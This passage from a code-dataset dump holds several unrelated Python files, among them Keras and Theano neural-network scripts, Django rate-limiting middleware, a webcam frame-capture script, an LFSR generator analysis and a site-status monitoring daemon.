webbrowser.open(url)\n","sub_path":"exts/synctwin.item.connector/synctwin/item/connector/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"631756574","text":"# Regression Example With Boston Dataset: Baseline\n\nimport numpy as np\nimport pandas\nimport matplotlib.pyplot as plt\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.wrappers.scikit_learn import KerasRegressor\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom scipy.io import loadmat\n\n\n# load training set\ntrainSet = loadmat('data_load_forecast/trainSet.mat')\n# # split into input (X) and output (Y) variables\ntrainX = trainSet['trainX']\ntrainY = trainSet['trainY']\n\n\n# load testing set\n## OPT 1: still using training set\n# testSet = loadmat('data_load_forecast/trainSet.mat')\n# testX = trainSet['trainX']\n# testY = trainSet['trainY']\n## OPT 2: using testing set\ntestSet = loadmat('data_load_forecast/testSet.mat')\ntestX = testSet['testX']\ntestY = testSet['testY']\n\n\n# # find row indices that have nan\nindices_nan_train = np.isnan(trainX).any(axis=1)\nindices_nan_test = np.isnan(testX).any(axis=1)\n# # delete the corresponding rows in both X and Y\ntrainX = trainX[~indices_nan_train]\ntrainY = trainY[~indices_nan_train]\ntestX = testX[~indices_nan_test]\ntestY = testY[~indices_nan_test]\n\n# scale the power data to per unit\nPowerBase = 1\ntrainX[:, 5:8] = trainX[:, 5:8]/PowerBase\ntrainY = trainY/PowerBase\ntestX[:, 5:8] = testX[:, 5:8]/PowerBase\ntestY = testY/PowerBase\n\n# create model\nmodel = Sequential()\nmodel.add(Dense(5, input_dim=8, activation='relu')) # activation= 'sigmoid'\nmodel.add(Dense(5, activation='relu'))\nmodel.add(Dense(5, activation='relu'))\nmodel.add(Dense(1, activation='relu'))\n\n# Compile model\nmodel.compile(loss='mean_squared_error', optimizer='adam', metrics=['mape'])\n\n# Fit the model\nmodel.fit(trainX, trainY, nb_epoch=20, batch_size=100) #\n\n# evaluate the model\nscores = model.evaluate(testX, testY)\nprint(\"%s: %.2f\" % (model.metrics_names[1], scores[1]))\n\n# perform prediction\nhatY = model.predict(testX)\nerror = testY - hatY\n\n# plot\nplt.figure()\nplt.plot(testY)\nplt.plot(hatY)\nplt.title('Load Forecasting')\nplt.show()\n\n# plot\nplt.figure()\nplt.plot(error)\nplt.title('Load Forecasting Error')\nplt.show()\n\n","sub_path":"practice/multilayer_perceptrons/keras_sequential_load_forecast.py","file_name":"keras_sequential_load_forecast.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"366800427","text":"# import the pyplot and wavfile modules\r\n\r\nimport matplotlib.pyplot as plot\r\n\r\nfrom scipy.io import wavfile\r\nfrom dtw import dtw\r\n\r\n# Read the wav file (mono)\r\n\r\nsamplingFrequency1, signalData1 = wavfile.read('chunk2.wav')\r\nsamplingFrequency2, signalData2 = wavfile.read('J&T-M.wav')\r\n\r\n# Plot the signal read from wav file\r\nx= str('chunk2.wav')\r\ny=str('J&T-M.wav')\r\n\r\nplot.subplot(211)\r\nplot.title('Spectrogram of',x)\r\nplot.plot(signalData1)\r\nplot.xlabel('Time')\r\nplot.ylabel('Amplitude')\r\n\r\nplot.subplot(212)\r\nplot.title('Spectrogram of ',y)\r\nplot.plot(signalData2)\r\nplot.xlabel('Time')\r\nplot.ylabel('Amplitude')\r\n\r\nplot.show()\r\n# plot.subplot(212)\r\n#\r\n# plot.specgram(signalData, Fs=samplingFrequency)\r\n#\r\n# plot.xlabel('Time')\r\n#\r\n# plot.ylabel('Frequency')\r\n\r\n\r\n","sub_path":"DTW/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"628336515","text":"import numpy as np\nimport theano\nimport theano.tensor as T\nfrom common.time_executor import get_execution_time\n\n# by specifying [10] as the hidden_layer_neuron implies using 1 hidden layer with 10 neurons\n# respectively by specifying [100, 100] -> 2 hidden layers each layer 100 neurons\n\n\nclass SoftmaxNeuralNetwork:\n\n def __init__(self, train_x, train_y, num_features=6, list_of_neuron_on_hidden_layer=list([10]), decay=1e-6,\n verbose=True):\n\n self.train_x = train_x\n self.train_y = train_y\n self.verbose = verbose\n\n self.num_train_data = len(train_x)\n\n self.train_cost = []\n self.train_prediction = []\n self.train_exec_time = []\n\n self.test_prediction = []\n\n weights = []\n biases = []\n\n # first layer which connect to the input layer\n weights.append(\n self.init_weight(len(train_x[0]), list_of_neuron_on_hidden_layer[0]) )\n biases.append(\n self.init_bias(list_of_neuron_on_hidden_layer[0]))\n\n previous_layer = list_of_neuron_on_hidden_layer[0]\n\n for layer in range(1, len(list_of_neuron_on_hidden_layer)):\n weights.append(\n self.init_weight(previous_layer, list_of_neuron_on_hidden_layer[layer]))\n\n biases.append(\n self.init_bias(list_of_neuron_on_hidden_layer[layer]))\n\n # for output layer\n weights.append(\n self.init_weight(previous_layer, num_features)\n )\n\n biases.append(\n self.init_bias(num_features)\n )\n\n # construct neural network\n\n layers = []\n\n x_input = T.matrix('X')\n y_output = T.matrix('Y')\n\n prev_input = x_input\n\n for i in range(len(weights)-1):\n calculation = T.nnet.sigmoid(T.dot(prev_input, weights[i]) + biases[i])\n layers.append(calculation)\n prev_input = calculation\n\n # last output layer, use softmax function\n calculation = T.nnet.softmax(T.dot(prev_input, weights[len(weights)-1]) +\n biases[len(biases) - 1])\n layers.append(calculation)\n\n y_prediction = T.argmax(calculation, axis=1)\n\n sum_sqr_weights = T.sqr(weights[0])\n\n for i in range(1, len(weights)):\n sum_sqr_weights += T.sum(T.sqr(weights[i]))\n\n cost = T.mean(T.nnet.categorical_crossentropy(calculation, y_output)) + decay*T.sum(sum_sqr_weights)\n params = list(weights+biases)\n updates = self.sgd(cost=cost, params=params)\n\n self.computation = theano.function(\n inputs=[x_input, y_output],\n updates=updates,\n outputs=cost\n )\n\n self.prediction = theano.function(\n inputs=[x_input],\n outputs=y_prediction\n )\n\n return\n\n def init_bias(self, n):\n return theano.shared(np.zeros(n), theano.config.floatX)\n\n def init_weight(self, n_in, n_out, is_logistic_function=False):\n\n weight = np.random.uniform(\n size=(n_in, n_out),\n low=-np.sqrt(6. / (n_in + n_out)),\n high=np.sqrt(6. / (n_in + n_out)),\n )\n\n if is_logistic_function:\n weight = weight*4\n\n return theano.shared(weight, theano.config.floatX)\n\n def sgd(self, cost, params, lr=0.01):\n\n # return list of gradients\n grads = T.grad(cost=cost, wrt=params)\n\n updates = []\n for p, g in zip(params, grads):\n updates.append([p, p - g * lr])\n return updates\n\n def reshuffle_train_data(self):\n\n id_to_random = np.arange(self.num_train_data)\n np.random.shuffle(id_to_random)\n return self.train_x[id_to_random], self.train_y[id_to_random]\n\n def start_train(self, test_x, test_y, epochs=1000, batch_size=100):\n\n for i in range(epochs):\n\n self.reshuffle_train_data()\n\n prediction_batch = []\n\n cost, exec_time = get_execution_time(self.start_one_iter_func, batch_size, prediction_batch)\n\n # predictions of train data\n prediction = np.mean(prediction_batch)\n\n self.train_cost.append(cost)\n self.train_prediction.append(prediction)\n self.train_exec_time.append(exec_time)\n\n print_verbose = (i % 5*batch_size == 0 or i == epochs-1) and self.verbose\n\n self.start_test(test_x=test_x, test_y=test_y, print_verbose=print_verbose)\n\n if print_verbose:\n\n print ('execution_time: %s epoch: %d, train cost: %s, train predictions: %s \\n' %\n (np.sum(self.train_exec_time), i, cost, prediction))\n print('------------------------------------\\n')\n\n def start_one_iter_func(self, batch_size, prediction_batch):\n\n cost = 0\n\n for cnt in range(0, len(self.train_x), batch_size):\n\n end = cnt + batch_size\n\n if end > len(self.train_x):\n end = len(self.train_x)\n\n train_x_batch = self.train_x[cnt:end]\n train_y_batch = self.train_y[cnt:end]\n\n cost += self.computation(train_x_batch, train_y_batch)\n prediction = self.prediction(self.train_x)\n predict_in_percentage = np.mean(np.argmax(self.train_y, axis=1) == prediction)\n prediction_batch.append(predict_in_percentage)\n\n return cost\n\n def start_test(self, test_x, test_y, print_verbose):\n\n prediction = self.prediction(test_x)\n\n predict_in_percentage = np.mean(np.argmax(test_y, axis=1) == prediction)\n self.test_prediction.append(predict_in_percentage)\n\n if print_verbose:\n print ('test predictions: %s \\n' % predict_in_percentage)\n\n def get_train_result(self):\n\n return self.train_cost, self.train_prediction, np.sum(self.train_exec_time)\n\n def get_test_result(self):\n\n return self.test_prediction\n","sub_path":"training/softmax_nn.py","file_name":"softmax_nn.py","file_ext":"py","file_size_in_byte":5902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"222643088","text":"from __future__ import print_function\nfrom django.core.management import BaseCommand, CommandError\n\nfrom corehq.apps.app_manager.models import Application\n\n\nclass Command(BaseCommand):\n \"\"\"\n Creates a master and linked app pair for two existing apps\n \"\"\"\n args = \"master_app linked_app\"\n\n def handle(self, *args, **options):\n if len(args) != 2:\n raise CommandError(\"Usage is ./manage.py link_apps %s\" % self.args)\n print(\"Linking apps\")\n master_id = args[0]\n linked_id = args[1]\n master_app = Application.get(master_id)\n linked_app = Application.get(linked_id)\n master_app.linked_whitelist.append(linked_app.domain)\n linked_app.doc_type = 'LinkedApplication'\n linked_app.master = master_id\n if master_app.version < linked_app.version:\n master_app.version = linked_app.version\n master_app.save()\n linked_app.save()\n","sub_path":"corehq/apps/app_manager/management/commands/link_apps.py","file_name":"link_apps.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"620321019","text":"import os\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mezzanineSecurity.settings')\nimport django\ndjango.setup()\n\nimport datetime\nimport time\n\nfrom django.http.response import HttpResponseForbidden\nfrom fireWall.models import FireWallSetting, BlockList, WebLogs\n\ndef get_ip(req):\n return req.META['REMOTE_ADDR']\n\ndef add_session(request, setting_threshold): \n dt = datetime.datetime.now()\n timestamp = time.mktime(dt.timetuple())\n session_request = request.session.get('requestList', None)\n \n if session_request == None or session_request == '':\n requestList = []\n else:\n requestList = request.session['requestList'] \n requestList.append(timestamp) \n\n if len(requestList) > setting_threshold:\n num = len(requestList) - setting_threshold \n del requestList[0:num]\n request.session['requestList'] = requestList\n \ndef saveWebLogs(request):\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n \n if x_forwarded_for:\n IP = x_forwarded_for.split(',')[0]\n else:\n IP = request.META.get('REMOTE_ADDR')\n \n WebLogs.objects.create(IP=IP, datetime = datetime.datetime.now(), visited = request.build_absolute_uri()) \n \n \ndef calculator_IPRepuation(IP, repuation, threshold): \n today_min = datetime.datetime.combine(datetime.date.today(), datetime.time.min)\n today_max = datetime.datetime.combine(datetime.date.today(), datetime.time.max)\n logs = WebLogs.objects.filter(datetime__range=(today_min, today_max))\n IPRepuation = repuation - (threshold * len(logs) / 60)\n return IPRepuation\n\n\ndef saveBlackList(IP, threshold):\n \n blockIP = BlockList.objects.filter(IP=IP).first()\n \n if not blockIP:\n repuation = calculator_IPRepuation(IP, 100, threshold)\n BlockList.objects.create(IP=IP,repuation=repuation) \n else:\n repuation = calculator_IPRepuation(IP, blockIP.repuation, threshold)\n BlockList.objects.filter(IP=IP).update(repuation = repuation)\n \n\n \nclass FireWallMiddleware(object):\n def process_request(self, request):\n \n fireWallSetting = FireWallSetting.objects.filter(id = 1).first()\n \n IP = get_ip(request) \n \n if fireWallSetting != None:\n if BlockList.objects.filter(IP = IP).first():\n setting_threshold = fireWallSetting.blackThreshold\n \n else:\n setting_threshold = fireWallSetting.threshold\n setting_timeRange = fireWallSetting.timeRange *60 \n else:\n setting_threshold = 20\n setting_timeRange = 60 \n \n add_session(request, setting_threshold)\n \n firstRequest = request.session['requestList'][0]\n lastRequest = request.session['requestList'][-1] \n if len(request.session['requestList'])>=setting_threshold and lastRequest - firstRequest < setting_timeRange:\n saveWebLogs(request)\n saveBlackList(IP, setting_threshold) \n return HttpResponseForbidden(\"Your browser didn't send a complete request in time.\")","sub_path":"mezzanineSecurity/fireWall/fireWall.py","file_name":"fireWall.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"560442193","text":"#!/usr/bin/env python\n\n#\n# daemon for Switcher\n#\n# author = Jose Caballero \n#\n\nimport logging\nimport os\nimport pwd\nimport sys\nimport socket\nimport time\nimport traceback\n\nfrom ConfigParser import SafeConfigParser\nfrom optparse import OptionParser\n\nfrom switcher.services.serverapi import AGIS, AGISMock\nfrom switcher.services.notify import Email, EmailMock\nfrom switcher.switcherexceptions import SwitcherConfigurationFailure, SwitcherEmailSendFailure\nfrom switcher.topology.topology import Topology\nfrom switcher.utils import AllowedEntities, load_json, send_notifications\n\n\n# =============================================================================\n\ndef send_failure_notification(subject, body, to):\n #FIXME: From is hardcoded \n # when fixed, we can call send_notifications directly\n send_notifications(subject, \n body,\n 'adcssb02@mail.cern.ch',\n to)\n\n# =============================================================================\n\n\nclass SwitcherCLI(object):\n\n def __init__(self):\n self.__parseopts()\n self.__createconfig()\n self.__readconfig()\n self.__setuplogging()\n self.__checkroot()\n\n\n def __parseopts(self):\n\n parser = OptionParser()\n parser.add_option('--conf', \n dest='conffile',\n default='/etc/switcher/switcher.conf',\n action='store',\n metavar='FILE1[,FILE2,FILE3]',\n help='Load configuration from FILEs (comma separated list)')\n (self.options, self.args) = parser.parse_args()\n\n\n def __readconfig(self):\n \"\"\"\n reads the basic configuration parameters for the daemon\n \"\"\"\n self.logfile = self.switcherconf.get('SWITCHER', 'logfile')\n\n loglevel = self.switcherconf.get('SWITCHER', 'loglevel')\n if loglevel == 'debug':\n self.loglevel = logging.DEBUG\n elif loglevel == 'info':\n self.loglevel = logging.INFO\n elif loglevel == 'warning':\n self.loglevel = logging.WARNING\n\n self.runAs = self.switcherconf.get('SWITCHER', 'runAs')\n\n self.dryrun = self.switcherconf.getboolean('SWITCHER', 'dryrun')\n self.allow_notifications = self.switcherconf.getboolean('SWITCHER', 'allow_notifications')\n self.failure_notifications = self.switcherconf.get('SWITCHER', 'failure_notifications')\n\n\n def __setuplogging(self):\n \"\"\"\n Setup logging \n \n General principles we have tried to used for logging: \n \n -- Logging syntax and semantics should be uniform throughout the program, \n based on whatever organization scheme is appropriate. \n \n -- Have sufficient DEBUG messages to show domain problem calculations input and output.\n DEBUG messages should never span more than one line. \n \n -- A moderate number of INFO messages should be logged to mark major \n functional steps in the operation of the program, \n e.g. when a persistent object is instantiated and initialized, \n when a functional cycle/loop is complete. \n It would be good if these messages note summary statistics, \n e.g. \"the last submit cycle submitted 90 jobs and 10 jobs finished\". \n A program being run with INFO log level should provide enough output \n that the user can watch the program function and quickly observe interesting events. \n \n -- Initially, all logging should be directed to a single file. \n But provision should be made for eventually directing logging output from different subsystems \n (submit, info, proxy management) to different files, \n and at different levels of verbosity (DEBUG, INFO, WARN), and with different formatters. \n Control of this distribution should use the standard Python \"logging.conf\" format file: \n \n -- All messages are always printed out in the logs files, \n but also to the stderr when DEBUG or INFO levels are selected. \n \n -- We keep the original python levels meaning, \n including WARNING as being the default level. \n \n DEBUG Detailed domain problem information related to scheduling, calculations,\n program state. \n INFO High level confirmation that things are working as expected. \n WARNING An indication that something unexpected happened, \n or indicative of some problem in the near future (e.g. 'disk space low'). \n The software is still working as expected. \n ERROR Due to a more serious problem, the software has not been able to perform some function. \n CRITICAL A serious error, indicating that the program itself may be unable to continue running. \n \n \"\"\"\n self.log = logging.getLogger()\n\n logfile = os.path.expanduser(self.logfile)\n if logfile == 'syslog':\n logStream = logging.handlers.SysLogHandler('/dev/log')\n elif logfile == 'stdout':\n logStream = logging.StreamHandler()\n else:\n lf = os.path.expanduser(logfile)\n logdir = os.path.dirname(lf)\n if not os.path.exists(logdir):\n os.makedirs(logdir)\n runuid = pwd.getpwnam(self.runAs).pw_uid\n rungid = pwd.getpwnam(self.runAs).pw_gid\n os.chown(logdir, runuid, rungid)\n logStream = logging.FileHandler(filename=lf)\n\n FORMAT='%(asctime)s (UTC) [ %(levelname)s ] %(name)s %(filename)s:%(lineno)d %(funcName)s(): %(message)s'\n formatter = logging.Formatter(FORMAT)\n formatter.converter = time.gmtime # to convert timestamps to UTC\n logStream.setFormatter(formatter)\n self.log.addHandler(logStream)\n self.log.setLevel(self.loglevel)\n self.log.info('Logging initialized.')\n\n\n def __checkroot(self):\n \"\"\"\n If running as root, drop privileges to --runas' account.\n \"\"\"\n starting_uid = os.getuid()\n starting_gid = os.getgid()\n starting_uid_name = pwd.getpwuid(starting_uid)[0]\n\n hostname = socket.gethostname()\n\n if os.getuid() != 0:\n self.log.info(\"Already running as unprivileged user %s at %s\" % (starting_uid_name, hostname))\n\n if os.getuid() == 0:\n try:\n runuid = pwd.getpwnam(self.runAs).pw_uid\n rungid = pwd.getpwnam(self.runAs).pw_gid\n os.chown(self.logfile, runuid, rungid)\n\n os.setgid(rungid)\n os.setuid(runuid)\n os.seteuid(runuid)\n os.setegid(rungid)\n\n self.log.info(\"Now running as user %d:%d at %s...\" % (runuid, rungid, hostname))\n\n except KeyError as e:\n self.log.critical('No such user %s, unable run properly. Error: %s' % (self.options.runAs, e))\n send_failure_notification('[Switcher3 FATAL Failure]', \n 'Switcher3 service shut down, unable to change user', \n self.failure_notifications)\n sys.exit(1)\n\n except OSError as e:\n self.log.critical('Could not set user or group id to %s:%s. Error: %s' % (runuid, rungid, e))\n send_failure_notification('[Switcher3 FATAL Failure]', \n 'Switcher3 service shut down, unable to change user',\n self.failure_notifications)\n sys.exit(1)\n\n\n def __createconfig(self):\n \"\"\"\n get the basic configuration for the daemon\n \"\"\"\n self.switcherconf = SafeConfigParser()\n self.switcherconf.readfp(open(self.options.conffile))\n \n\n def run(self):\n \"\"\"\n Create Switcher object and enter main loop\n \"\"\"\n try:\n self.log.info('Creating Switcher object and entering main loop...')\n\n switcherloop = SwitcherLoop(self.switcherconf)\n switcherloop.run(self.dryrun, self.allow_notifications)\n\n except KeyboardInterrupt:\n self.log.info('Caught keyboard interrupt - exitting')\n switcher.stop()\n sys.exit(0)\n except SwitcherConfigurationFailure as e:\n self.log.critical('Switcher configuration failure: %s', e)\n send_failure_notification('[Switcher3 FATAL Failure]', \n 'Switcher3 service shut down due Configuration Failure',\n self.failure_notifications)\n sys.exit(1)\n except ImportError as e:\n self.log.critical('Failed to import necessary python module: %s' % e)\n send_failure_notification('[Switcher3 FATAL Failure]', \n 'Switcher3 service shut down due Import Error',\n self.failure_notifications)\n sys.exit(1)\n except Exception as ex:\n self.log.critical(\"\"\"Please report to Jose \"\"\")\n self.log.critical(traceback.format_exc(None))\n print(traceback.format_exc(None))\n send_failure_notification('[Switcher3 FATAL Failure]', \n 'Switcher3 service shut down due Unkown Error: %s' %ex, \n self.failure_notifications)\n sys.exit(1)\n\n\n\nclass SwitcherLoop(object):\n \"\"\"\n class to implement the main loop\n \"\"\"\n\n def __init__(self, switcherconf):\n self.log = logging.getLogger('switcher')\n self.switcherconf = switcherconf\n self.shutdown = False\n self.sleep = self.switcherconf.getint('SWITCHER', 'sleep')\n\n\n def run(self, dryrun, allow_notifications):\n \"\"\"\n main loop\n \"\"\"\n try:\n while not self.shutdown:\n try:\n switcher = Switcher(self.switcherconf)\n switcher._run(dryrun, allow_notifications)\n except SwitcherConfigurationFailure as ex:\n self.log.critical('Exception raised during Switcher main loop run: %s.' % ex)\n except SwitcherEmailSendFailure as ex:\n self.log.critical('Exception raised during Switcher main loop run: %s.' % ex)\n except Exception as ex:\n self.log.critical('Exception raised during Switcher main loop run: %s.' % ex)\n time.sleep(self.sleep)\n self.log.debug('Checking for interrupt.')\n except Exception as ex:\n # FIXME: unless we used specific Exceptions inside while loop, this code will never run \n self.log.fatal('Unrecognized Exception raised during Switcher main loop run: %s. Aborting.' % ex)\n self.shutdown = True\n raise ex\n self.log.debug('Leaving.')\n\n\n\nclass Switcher(object):\n \"\"\"\n class implementing actions to be performed on \n each cycle of the loop\n \"\"\"\n\n def __init__(self, switcherconf):\n \"\"\"\n :param SafeConfigParser switcherconf: primary config object\n \"\"\"\n self.log = logging.getLogger('switcher')\n self.shutdown = False\n self.switcherconf = switcherconf\n\n self.__readconfig()\n\n\n def __readconfig(self): \n \"\"\"\n get the configuration parameters for this class\n and create the rest of Config objects\n \"\"\"\n self.sleep = self.switcherconf.getint('SWITCHER', 'sleep')\n\n downtimesconf = self.switcherconf.get('SWITCHER', 'downtimesconf')\n self.downtimesconf = SafeConfigParser()\n self.downtimesconf.readfp(open(downtimesconf))\n\n notificationsconf = self.switcherconf.get('SWITCHER', 'notificationsconf')\n self.notificationsconf = SafeConfigParser()\n self.notificationsconf.readfp(open(notificationsconf))\n\n self.schedconfig = self.switcherconf.get('SOURCE', 'schedconfig')\n self.ddmtopology = self.switcherconf.get('SOURCE', 'ddmtopology')\n self.switcherstatus = self.switcherconf.get('SOURCE', 'switcherstatus')\n self.sites = self.switcherconf.get('SOURCE', 'sites')\n self.downtimescalendar = self.switcherconf.get('SOURCE', 'downtimescalendar')\n\n self.probe_state_source = self.switcherconf.get('SOURCE', 'probestate')\n\n self.allowed_clouds = self.__get_allowed_entities('clouds')\n self.allowed_sites = self.__get_allowed_entities('sites')\n self.allowed_queues = self.__get_allowed_entities('queues')\n\n\n def __get_allowed_entities(self, name):\n \"\"\"\n gets from the schedconfig if certain entitties\n are allowed or excluded.\n :param string name: can be \"clouds\", \"sites\" or \"queues\"\n :return AllowedEntities:\n \"\"\"\n\n config_allowed_key = 'allowed_%s' %name\n config_excluded_key = 'excluded_%s' %name\n\n def _get_value(key):\n if self.switcherconf.has_option('SOURCE', key):\n value = self.switcherconf.get('SOURCE', key)\n if value == 'None':\n value = None\n if value is not None:\n value = [x.strip() for x in value.split(',')]\n else:\n value = None\n return value\n \n allowed = _get_value(config_allowed_key)\n excluded = _get_value(config_excluded_key)\n return AllowedEntities(allowed, excluded) \n\n\n# def run(self, dryrun=False, allow_notifications=True):\n# \"\"\"\n# main loop\n# \"\"\"\n# try: \n# while not self.shutdown:\n# try:\n# self._run(dryrun, allow_notifications)\n# except Exception as ex:\n# self.log.error('Exception raised during Switcher main loop run: %s.' % ex)\n# time.sleep(self.sleep) \n# self.log.debug('Checking for interrupt.')\n# except Exception as ex:\n# # FIXME: unless we used specific Exceptions inside while loop, this code will never run \n# self.log.error('Unrecognized Exception raised during Switcher main loop run: %s. Aborting.' % ex)\n# self.shutdown = True\n# raise ex\n# self.log.debug('Leaving.')\n\n\n def _run(self, dryrun=False, allow_notifications=True):\n \"\"\"\n actual actions performed in the main loop\n \"\"\"\n self.log.info('Starting new loop.')\n\n # FIXME\n # passing allow_only and excluded_queues should be done in a better way\n # this is a temporary solution\n topology = Topology(self.schedconfig, self.allowed_clouds, self.allowed_sites, self.allowed_queues, self.ddmtopology, self.notificationsconf, self.downtimesconf)\n topology.add_switcher_status(self.switcherstatus)\n topology.add_downtimes(self.downtimescalendar)\n topology.add_nucleus(self.sites)\n self.log.info('Topology tree generated %s.' %topology)\n\n if dryrun:\n agis = AGISMock(self.switcherconf)\n else:\n agis = AGIS(self.switcherconf)\n\n try:\n probe_state = load_json(self.probe_state_source)['switcher']['state'].lower()\n except Exception as ex:\n self.log.critical('Unable to read probe state configuration from src. Exception: %s' %ex)\n raise SwitcherConfigurationFailure(self.probe_state_source, ex)\n active = (probe_state == 'active')\n if allow_notifications:\n email = Email(active)\n else:\n email = EmailMock(active)\n\n topology.evaluate()\n topology.act(agis)\n topology.reevaluate(self.schedconfig)\n topology.notify(email)\n\n # =====================================================================\n # FIXME \n # temporary solution\n # =====================================================================\n from switcher.services.ssb import ssb, ssbmock\n if dryrun:\n ssb_fun = ssbmock\n else:\n ssb_fun = ssb\n ssb_fun(topology)\n\n self.log.info('Actions finished.')\n\n\nif __name__ == '__main__':\n \n cli = SwitcherCLI()\n cli.run()\n\n\n","sub_path":"switcher/switcherd.py","file_name":"switcherd.py","file_ext":"py","file_size_in_byte":16486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"406173181","text":"\n# coding: utf-8\n\n# In[2]:\n\n\nimport numpy as np\nimport cv2\nimport os\ncap = cv2.VideoCapture(0)\n\ntry:\n if not os.path.exists('cameraFrames'):\n os.makedirs('cameraFrames')\nexcept OSError:\n print ('Error: Creating directory of data')\n\ncurrentFrame = 0 \nwhile(True):\n\n ret, frame = cap.read()\n\n cv2.imshow('cameraCapture',frame)\n \n if cv2.waitKey(20) & 0xFF == ord('q'):\n break;\n else:\n name = './cameraFrames/frame' + str(currentFrame) + '.jpg'\n cv2.imwrite(name, frame)\n currentFrame += 1\nprint(str(currentFrame) +' image frames created.'); \ncap.release()\ncv2.destroyAllWindows()\n\n","sub_path":"Video Frame Generation/Camera-capture-Frames.py","file_name":"Camera-capture-Frames.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"46014948","text":"#!/usr/bin/env python\n\n'''\nGV(global variance)\n'''\nimport os\nimport sys\nimport numpy as np\nimport argparse\nimport logging\nimport h5py\n\nlogging.basicConfig(format='%(asctime)s %(threadName)s [%(levelname)s] [line:%(lineno)d] %(message)s', datefmt='%Y-%m-%d %H:%M:%S',\n level = logging.DEBUG\n #level = logging.WARN\n )\n\n\nparser = argparse.ArgumentParser(description='Read TFRecords')\n\nparser.add_argument('--metapath', type=str, default='/gfs/atlastts/StandFemale_22K/tfrecords/mcep_cut_normal/meta/mcep_cut/mean-std-meta.hdf5', help='file path to the hdf5.')\nparser.add_argument('--mceppath', type=str, default=None, help='file path to the SYN mcep.')\n\nFLAGS = parser.parse_args()\n\n# h5py\nf = h5py.File(FLAGS.metapath, 'r')\nlogging.info('Keys: {}'.format(f.keys()))\n\nfor k in f.keys():\n logging.info('{} keys values: {}'.format(k, f[k][:]))\n\nsyn_mean=f['gen_mean'][:]\nsyn_std=f['gen_std'][:]\nmean = f['nature_mean'][:]\nstd = f['nature_std'][:]\n\n\ndata = np.fromfile(FLAGS.mceppath, np.float32)\n\ndata = np.reshape(data, (-1, 41))\nlogging.info('mcep shape({}):\\n{}'.format(data.shape, data))\n\ndata = (data - syn_mean) / syn_std\ndata = data * std + mean\n\nlogging.info('mcep GV shape({}):\\n{}'.format(data.shape, data))\n\ndata.astype(np.float32).tofile(FLAGS.mceppath)\n\nsys.exit(0)\n\n","sub_path":"tools/mcep_gv.py","file_name":"mcep_gv.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"428228861","text":"#!/usr/bin/python3\r\nfrom prng import LFSR\r\nfrom prng import PRNG\r\nimport prng_analysis\r\n\r\n\r\nq = 2\r\nalph = 0.01\r\npolynomial_coefficients = [[1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0],\r\n [1, 1, 0, 1, 1, 0, 0, 0, 0],\r\n [1, 0, 0, 1, 0, 0, 0, 0, 0, 0]]\r\n\r\n\r\n\r\nout_sequence = open(\"seq.txt\", 'r').read().replace('\\n', '')\r\nprint(\"in seq: \")\r\nprint(out_sequence)\r\nstates = prng_analysis.prng_analysis(polynomial_coefficients, out_sequence, alph)\r\n\r\nprint(\"pract start states: \")\r\nfor state in states:\r\n print(state)\r\n\r\nl1_start_state = [0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0]\r\nl2_start_state = [1, 1, 1, 1, 1, 0, 0, 0, 1]\r\nl3_start_state = [1, 0, 0, 1, 0, 1, 1, 0, 0, 0]\r\n\r\nl1 = LFSR(q, polynomial_coefficients[0], l1_start_state)\r\nl2 = LFSR(q, polynomial_coefficients[1], l2_start_state)\r\nl3 = LFSR(q, polynomial_coefficients[2], l3_start_state)\r\n\r\nprng = PRNG([l1, l2, l3])\r\nout_sequence = \"\"\r\n\r\nfor i in range(1000):\r\n out_sequence += str(prng.next_value())\r\nprint(\"real seq: \")\r\nprint(out_sequence)\r\n\r\nprint(\"real start states: \")\r\nprint(l1_start_state)\r\nprint(l2_start_state)\r\nprint(l3_start_state)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"597246926","text":"\"\"\"\r\nSample estimates\r\n----------------\r\n * :func:`estimate` returns an uncertain number defined from\r\n the statistics of a sample of data.\r\n * :func:`multi_estimate_real` returns a sequence of related \r\n uncertain real numbers defined from the multivariate statistics \r\n calculated from a sample of data. \r\n * :func:`multi_estimate_complex` returns a sequence of related uncertain\r\n complex numbers defined from the multivariate statistics of a sample of data. \r\n * :func:`estimate_digitized` returns an uncertain number for \r\n the mean of a sample of digitized data.\r\n * :func:`mean` returns the mean of a sample of data.\r\n * :func:`standard_uncertainty` evaluates the standard \r\n uncertainty associated with the sample mean.\r\n * :func:`standard_deviation` evaluates the standard \r\n deviation of a sample of data.\r\n * :func:`variance_covariance_complex` evaluates the variance\r\n and covariance associated with the mean real component \r\n and mean imaginary component of the data.\r\n \r\n.. note::\r\n\r\n Many functions in :mod:`type_a` treat data as pure numbers. \r\n Sequences of uncertain numbers can be passed to these \r\n functions, but only the uncertain-number values will be used.\r\n \r\nModule contents\r\n---------------\r\n\r\n\"\"\"\r\nfrom __future__ import division\r\n\r\nimport sys\r\nimport math\r\nimport numbers\r\nfrom functools import 